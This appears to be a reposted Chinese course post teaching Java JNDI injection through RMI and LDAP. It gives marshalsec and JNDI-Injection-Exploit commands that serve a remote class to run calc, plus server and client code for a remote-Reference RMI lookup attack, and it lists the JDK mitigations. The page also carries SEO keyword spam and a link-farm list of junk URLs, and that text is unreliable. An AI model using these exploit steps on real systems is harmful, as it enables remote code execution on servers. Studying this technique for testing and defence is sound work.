当前位置: 首页 > wzjs >正文

做公司标志用哪个网站深圳东门步行街地铁站

做公司标志用哪个网站,深圳东门步行街地铁站,做网站找哪个软件,wordpress 首页空白知识点: 1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等 2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等 演示案例-WEB开发-JavaEE-JNDI注入&LDAP&RMI服务&DNS服务&高版本限制绕过 JNDI全称为 Java Naming and DirectoryInterface&am…

知识点:
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等

在这里插入图片描述
在这里插入图片描述

演示案例-WEB开发-JavaEE-JNDI注入&LDAP&RMI服务&DNS服务&高版本限制绕过

JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在NamingDirectory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在NamingDirectory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-marshalsec

项目地址:https://github.com/mbechler/marshalsec

这个项目就是自己写一个危险代码类,然后编译成class文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。

1、编译调用对象(生成class文件)

javac Test.java

在这里插入图片描述

2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

3、触发JNDI注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-JNDI-Injection-Exploit

项目地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

在这里插入图片描述
在这里插入图片描述

JNDI注入-手工

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听

Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、Clinet连接触发

String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

在这里插入图片描述
在这里插入图片描述

JDK高版本注入绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JDK 6u45、7u21之后

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVMjava.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URILDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过

后续Java安全篇章课程将讲到


文章转载自:

http://E6HOo5OT.sfgtp.cn
http://XTpwXmFH.sfgtp.cn
http://90E75UTc.sfgtp.cn
http://KZGvllWb.sfgtp.cn
http://zXR81TOD.sfgtp.cn
http://KRrFk0OX.sfgtp.cn
http://9r9N5Pc0.sfgtp.cn
http://cXEEpsm9.sfgtp.cn
http://Fyk9QSY5.sfgtp.cn
http://1fcP9CHQ.sfgtp.cn
http://m0TLLvUJ.sfgtp.cn
http://fwXszK6C.sfgtp.cn
http://OB4OgMfG.sfgtp.cn
http://Fwf8z4Cc.sfgtp.cn
http://9nkvKqwT.sfgtp.cn
http://15Ja1MwU.sfgtp.cn
http://Wo0KtqyZ.sfgtp.cn
http://BJA55fuw.sfgtp.cn
http://AdKOPEnK.sfgtp.cn
http://4gOhnVK0.sfgtp.cn
http://jEj2VTi6.sfgtp.cn
http://RTxyRF9p.sfgtp.cn
http://p5GanGHk.sfgtp.cn
http://woLkTPMd.sfgtp.cn
http://i0fJ81AL.sfgtp.cn
http://ifZG9qpa.sfgtp.cn
http://GrPpel04.sfgtp.cn
http://uPdd7FV1.sfgtp.cn
http://lN3V5dz6.sfgtp.cn
http://La9QmIpB.sfgtp.cn
http://www.dtcms.com/wzjs/676706.html

相关文章:

  • 帝国cms网站地图xml工厂货源网
  • 射阳做企业网站哪家好杭州seo平台
  • c网站开发案例详解代码室内设计网站哪里可以看
  • 自己建网站多少钱asp网站代码
  • 通州网站开发公司门户网站样式
  • 网页设计与网站建设作品浏览器怎么取消2345网址导航
  • 宜选科技就是帮人做网站wordpress 目录 模板
  • 中国建设官网招聘网站apache搭建wordpress
  • 网站的空间是服务器吗深圳网站设计三把火
  • 温州公司网站建设员工oa系统
  • 河北网站建设中心沈阳怎么做网站
  • 公司网站要怎么做产品招商网
  • 网站建设需求说明书怎么写建立免费公司网站
  • 怎么自建一个网站制作博客网站
  • 郑州网站制作企业建e网怎么做效果图
  • 网站建设三秒原则wordpress 禁用google字体
  • 郑东新区网站开发软件开发培训学校的三大特色
  • 承德市宽城县建设局网站wordpress 主题模板下载
  • 如何海外网站建设公司宣传 如何做公司网站
  • 网站建设招聘启事自己有域名怎么做免费网站
  • 网站建设开发制作网站建设文化如何
  • 深圳做网站收费游戏网站服务器租用
  • 手机网站 win8风格淘宝客优惠卷网站模板
  • 如何购买网站空间采集电影做的网站
  • 建设免费手机网站wordpress博客设置主题方法
  • 做外贸上哪些网站找客户做电影网站的流程
  • 做58同城这样的网站有哪些wordpress 企业 模板 下载
  • 建筑培训网站有哪些怎样做免费网站建设
  • 九江本土专业网站建设网上购物系统功能需求分析
  • asp.net网站开发流程及相关工具成都旅游景点大全排名